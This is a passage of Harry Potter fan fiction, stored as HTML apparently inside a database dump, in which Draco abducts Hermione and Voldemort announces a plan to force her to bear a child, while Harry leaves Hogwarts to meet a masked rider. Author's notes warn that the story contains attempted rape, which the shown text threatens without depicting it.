Hermione.&nbsp;\nShe started to get frightened of the gleam in Draco\'s cold gray eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What I mean\nis that you could provide me with some very private entertainment,&quot; said\nDraco, with a look in his eyes that could only mean mad lust.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was now\nshaking with fear, and she tried to crawl away.&nbsp; She backed up into a pile of crates.&nbsp; Draco crouched right next to her and grinned.&nbsp; He cupped her cheek.&nbsp; Hermione shuddered at how icy Draco\'s hand\nfelt.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Not right\nnow, of course, but once we get back to Malfoy Manor.&nbsp; I will show you how I made many a girl scream with\npleasure.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Anger welling up\nin her blood once again, Hermione slapped Draco as hard as she could.&nbsp; &quot;I would rather die,&quot; she\nhissed.&nbsp; Draco\'s face rocked back, and\nhe looked furious when he turned back to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Perhaps you\nwould like to lose your arms as well, mudblood!&nbsp; Then, you will really know what its like to be\nhelpless!&quot;&nbsp; He pulled out his wand\nand pointed it at Hermione\'s right shoulder.&nbsp;\nHermione simply glared at him defiantely.&nbsp; Finally, Draco\'s face relaxed into a smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;But we have\nplenty of time, Granger,&quot; he said.&nbsp;\n&quot;Once we\'re at the manor, maybe you\'ll think\ndifferently.&quot;&nbsp; He placed his hand\non her shoulder and the two promptly disapparated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Back in Scotland,\nHarry was just about to leave Hogwarts when Ron cornered him at the front\ndoor.&nbsp; &quot;Where are you going?&quot;\nhe asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I need to go\naway for awhile.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Where?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I can\'t tell\nyou.&nbsp; But I promise I\'ll be back in a\nfew days.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;How do I\nknow that?&nbsp; The last time, you\ndisappeared for two years!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;This isn\'t\nthe same as last time.&nbsp; I promise I\'ll\nbe back.&nbsp; I just have to go do\nthis.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron was about to\nsay something when Margaret came by, looking exhausted from her training.&nbsp; &quot;What\'s going on here?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Nothing\nmuch,&quot; said Harry.&nbsp; &quot;I\'m just\nleaving for a few days to do something very important and Ron doesn\'t seem to\ntrust my promise that I\'ll come back.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Margaret glared at\nRon and Ron backed away looking a little sheepish.&nbsp; &quot;You should learn to trust your friends more,&quot; she\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron sighed.&nbsp; &quot;All right.&nbsp; You can go.&nbsp; But you\'d\nbetter come back!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry grinned and\nnodded.&nbsp; He left the school and\nproceeded to make his way to the forbidden forest.&nbsp; Although it was generally known that most people would rather\nkiss Voldemort than go into the forest alone at night, Harry seemed to have no\nproblem walking through the dark canopy.&nbsp;\nEventually, Harry made it to a large clearing, deep in the forest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After waiting for\na while Harry looked up to see someone enter the clearing.&nbsp; It was the rider on the stag.&nbsp; Harry smiled as the stag walked up to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hey,&quot;\nsaid Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Hello\nHarry,&quot; said the rider with a clear feminine voice.&nbsp; She climbed off the stag and walked up to\nHarry.&nbsp; Before either could say a word,\nthey embraced each other.&nbsp; They remained\nin that position for a few minutes before they finally pulled away.&nbsp; Harry then went up to the stag and pulled\nits neck into a strong hug.&nbsp; The stag\nrested its head on Harry\'s shoulder, making sure its long antlers didn\'t hit\nHarry.&nbsp; Finally, Harry pulled away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I received\nyour owl,&quot; said the rider.&nbsp; Hedwig\nsuddenly swooped down and landed on the rider\'s shoulder.&nbsp; &quot;She\'s very clever,&quot; she said as\nshe stroked the snowy white owl.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry smiled and\nsaid, &quot;Thanks for coming here.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Both the rider and\nthe stag looked at Harry.&nbsp; &quot;So,\nyou\'re really going?&quot; asked the rider.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded and\nsaid &quot;I know it\'s not wise to leave Hogwarts now.&nbsp; If the school is attacked while I\'m gone,\nthe resistance will be over.&nbsp; But this\nis something I really need to do.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well, I\nsuppose that\'s why you wanted to see us,&quot; said the rider.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes.&nbsp; I want you to protect Hogwarts while I\'m\ngone.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Are you sure\nwe can handle the job?&nbsp; Voldemort will\nprobably have the school attacked with his most powerful forces while you\'re\ngone.&nbsp; Do you really think we can stop\nthem?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry smiled.&nbsp; &quot;When I called you two back, I also\nmanaged to grant you powers similar to my own.&nbsp;\nThe two of you are practically Battle Wizards now, like me.&nbsp; I have absolute confidence in your\nabilities.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The rider beamed\nbehind her mask.&nbsp; Suddenly, the stag\nstarted prodding Harry with his antlers in a playful way.&nbsp; Harry grinned and transformed into a lion.&nbsp; The lion and the stag started prance around\nthe clearing, playfully pouncing on each other occasionally.&nbsp; The rider laughed at the antics of the two\nanimals as they occasionally rolled around on the grass.&nbsp; At times, the lion\'s mane got tangled with\nthe stag\'s antlers.&nbsp; Finally, Harry\nturned back into his human form.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Well, as\nmuch as I like frolicking around, I really can\'t waste time.&nbsp; I need to go.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Both the rider and\nthe stag nodded in understanding.&nbsp; Harry\nhugged the stag again.&nbsp; He then, walked up\nto the rider.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Remember\nHarry,&quot; said the rider as she hugged him, &quot;that I always loved you,\nand I always will.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded and\nhugged her back.&nbsp; &quot;I love you\ntoo.&nbsp; Always have, and always\nwill.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">They remained in\nan embrace for a few minutes.&nbsp; The stag\nalso placed his head on Harry\'s shoulder and Harry hugged him as well.&nbsp; Finally, he pulled away and pulled his\nFirebolt out from beneath his cloak.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\'ve got to\ngo,&quot; he said.&nbsp; He mounted the\nbroomstick and took off into the night air.&nbsp;\nThe rider looked up as Harry flew away before she climbed back onto the\nstag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Go get her,\nHarry,&quot; she said, as the stag galloped away into the forest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After flying for a\nwhile, Harry stopped in the air.&nbsp; He\npulled out the bracelet that had the three gems on them.&nbsp; All three gems were shining.&nbsp; Harry started concentrating and sending\nmagic into the bracelet.&nbsp; Suddenly, all\nthree gems flashed and gave off beams of light!&nbsp; The green gem gave off a beam that was pointing toward Harry\'s\nchest.&nbsp; The beam of the red gem pointed\nto Hogwarts.&nbsp; And the beam of the blue\ngem pointed toward the south.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yes!&quot;\nshouted Harry.&nbsp; &quot;The connection is\nstill strong!&quot;&nbsp; He turned around,\nand sped his broomstick toward the way the beam of the blue gem was pointing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N One of the\nthings I like about Draco Malfoy is that he works either way.&nbsp; You can use him as some kind of hero, or you\ncan use him as a nasty villain, and they both work in character surprisingly\nenough.&nbsp; Well, a little warning: next\nchapter is the chapter that warrants the high rating of this story.&nbsp; So please keep that in mind while you read\nit.&nbsp; So please R/R.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(146, 8, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Note: I&#8217;ve edited\nthis chapter a little to comply with portkey&#8217;s requirements.&nbsp; Basically, it contains attempted rape and\nI&#8217;m hoping that it&#8217;s current state is acceptable for portkey.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&quot;And I\nwill put enmity between you and the woman, and between your offspring and hers;\nhe will crush your head, and you will strike his heel.&quot;</i></p>\n\n<i>Genesis 3:15</i>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>Chapter 8: At\nMalfoy Manor</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Perhaps the\nlargest manor in the wizarding world that existed was Malfoy Manor.&nbsp; In fact, it could probably be considered\nmore like a small castle than a manor house.&nbsp;\nAbout half the size of Hogwarts, it was the second largest gathering\nspot of Death Eaters after Parselrock.&nbsp;\nIt was a medieval style manor house with tapestries, paintings, large\nhalls and chambers, ominous corridors, four stories, it\'s own Quidditch pitch,\nand an entire labyrinth of dungeons.&nbsp;\nHowever, it wasn\'t exactly a welcoming place and Hermione felt like she\nwas a prisoner there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Actually, she\nwas.&nbsp; Hermione was locked up in her\nbedroom with no company what so ever.&nbsp;\nIt was a small bedroom, with a four-poster, a soft green carpet, and its\nown bathroom.&nbsp; It was a little too small\nfor anybody to live in, but since Hermione had no legs, it really didn\'t\nmatter.&nbsp; She usually spent the entire\nday in bed and she received three meals a day.&nbsp;\nHer biggest problem was that she had to crawl to the bathroom on her\narms: a very tiring and humiliating experience.&nbsp; She was still wearing the same nightgown, which she had been\nwearing when Draco had captured her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Having nothing\nelse to do, Hermione often cried silently for hours, or she would sleep and\nhave peaceful dreams about being with Harry, whereupon she would let tears fall\nagain.&nbsp; She knew that Draco would be\ncoming for her one of these days when he deemed ready, and the thought frightened\nher.&nbsp; This was her darkest hour and the\ntime she missed Harry the most.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, about\nthree days after Hermione\'s capture, someone entered her room.&nbsp; Hermione fearfully looked toward the door\nand screamed in terror.&nbsp; For the person\nwhom had entered the room was none other than Lord Voldemort!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Greetings,\nHermione,&quot; said Volemort with a sinister grin on his face.&nbsp; &quot;I trust that you know who I am.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was\nspeechless.&nbsp; Her eyes were wide with\nfear and sweat started to build on her brow.&nbsp;\nVoldemort walked up to the bed.&nbsp;\nHermione pulled her covers up higher and tried to back away.&nbsp; She caught sight of Lucius Malfoy and a\nblonde woman she didn&#8217;t know standing in the doorway.&nbsp; She recoiled in horror as Voldemort gently stroked her cheek with\nhis icy cold, spider like hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;There,\nthere, little mudblood,&quot; said Voldemort.&nbsp;\n&quot;You should be overjoyed considering what you have been chosen\nfor.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&quot;\nwhispered Hermione, still frightened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;You,\nHermione Granger, have been chosen to be the mother of my heir.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;WHAT?!&quot;&nbsp; Hermione\'s yell wasn\'t enough to show how\nshocked and horrified she was.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Now, now let\nme finish,&quot; said Voldemort.&nbsp;\n&quot;You are to be the mother of my heir by young Draco\nMalfoy.&quot;&nbsp; This did not alleviate\nHermione\'s horror.&nbsp; Lucius looked\nproud.&nbsp; &quot;Icicle, why don\'t you\nexplain this to Miss Granger?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The blonde woman,\nIcicle nodded and stepped forward. &quot;You see my little mudblood.&nbsp; Our master wishes to have a wizard by his\nside.&nbsp; An immensely powerful wizard whom\nwould serve our master faithfully and take his place if anything should happen\nto him.&nbsp; Perhaps \'lieutenant\' would be a\nbetter word than \'heir\'.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione simply\nstared at Icicle as the blonde woman started pacing back and forth in front of\nthe bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;For some\nreason, incomprehensible to myself at least, a child between a pure blood and a\nmuggle is more powerful than a pureblood on an average basis.&nbsp; Although some of us try to deny this, I\'m\nafraid that no one can argue against fact.&nbsp;\nIt is true that some of the most powerful wizards in existence, such as\nour master and Harry Potter, are mixed blood.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione now had a\ngeneral idea of where Icicle was going with this.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lucius beamed at\nIcicle as Icicle said, &quot;Young Draco has been chosen to be the father of\nthis lieutenant.&nbsp; Of course, for this\nlieutenant to be the most powerful possible, the mother must either be a muggle\nor a mudblood.&nbsp; Young Draco has\nnominated you, my little mudblood.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione shuddered\nand shouted, &quot;No!&nbsp; I won\'t\ncooperate!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Oh but\nHermione,&quot; said Voldemort, &quot;don\'t you want your legs back?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;If you\ncooperate, I can magic up a new pair for you.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Despite her fear,\nHermione sent a defiant death glare at Voldemort.&nbsp; &quot;I would rather die,&quot; she hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;That is too\nbad,&quot; said Voldemort.&nbsp; He, Icicle,\nand Lucius made their way out of the room.&nbsp;\n&quot;Whichever way, you will not have a choice.&nbsp; For my heir to be conceived, it must happen\ntonight!&quot;&nbsp; The three left the room\nlaughing hysterically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione pulled\nthe covers over her 